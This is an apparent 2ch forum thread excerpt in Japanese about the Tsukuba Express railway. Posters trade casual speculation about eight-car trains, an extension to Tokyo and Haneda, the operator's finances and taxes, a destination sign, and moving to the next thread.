http://www.city.nagareyama.chiba.jp/dbps_data/_material_/_files/000/000/001/239/futyousakekka.pdf

表―８の4つの検討ケースで
資金収支が延伸無しより早く黒字転換するのはケース4だけ
損益収支では延伸無しより早く黒字転換するケースはひとつ無い

>>977
空間的には8両化するのは余裕らしいよ。営業しながらの工事的な制約は苦労しそうだけど。
今の区間で8両化して十分儲かるようになったら東京駅まで作ればいい。

どうせなら羽田まで160km/hですっ飛ばしてほしいけどな

>>959
ツアーバス扱いなので諦めて下さい。

次スレは？

ああ、そうだ！

区快 秋 く ば

Semi
　Rapid For |Tsukuba

TX-2273 海

>>981
>次スレは？
つくばエクスプレス127(TX-94)
http://toro.2ch.net/test/read.cgi/rail/1344254005/
が、まだ592レス目なので合流です。
間違ってスレ立てないで下さい。

>>983
スレ民で既に合意しているならそれで。

秋くば画像って需要ある？

>>977
そこ、東京っていうより東京(大手町)か東京(二重橋前)だな

もともと大手町付近に新東京駅建設の予定だよ
そっから羽田につなぐとかなんとかいってるけど50年以内に実現するのだろうか

>>959
　とりあえず、休前日だけ限定の試験運行だから、そんなもん。
　ｘふうか、関東鉄道はPASMO加盟会社だけど、バスでは使えない。

ありゃ？
×「ｘふうか」
○「ちゅうか」


>>977
　その資料、一日乗客数が２７万人での試算。
　すでに一日３０万人突破してるんだから、もっと状況はいいはず。

>>975
＞8両化400億の関係なのか、無利子融資の期限が来るからか、
　車両が増えたから減価償却費が膨らむっていう問題もあるかも。

乗客が増えてるのに
経費がめっちゃ増えて対前年で減益だったんだよ・・

これからは設備投資が増えまくりで、そんなに甘くは無い。

8両化+東京延伸で2000億円くらい？

確かに先は暗いな

>>991
>確かに先は暗いな
年1-2%のインフレじゃないと借金持ちは厳しい。
年2%インフレだと、借金は目減り、運賃は5年に一回は値上げできる。

この会社は精神障害者割引を実施したらどうだ？

【秋くば】画像

区快　 秋 く ば
Semi
Rapid For|Tsukuba

http://imepic.jp/20121017/477350

TX-2273 (海)

>>994
なんやこれ

新東京駅は
どうせ羽田⇔成田優先でTXは乗り入れさせてもらえんのだろうなあ

>>995
つ新御徒町方式

>>990
昨年度は、震災復旧で経費が嵩んだため減益っていう特殊事情があるから、
一概に比較はできないけどな。

>特別損失で災害復旧費等 353 百万円を計上

>一体化法による固定資産税課税標準額の減免割合縮小により固定資産税が増加したこ
と等により前期に比べ 営業費用が947 百万円増加

と決算書にいてあるから
災害復旧より減免縮小による固定資産税の増加のほうが重かったんだな・・

うめ

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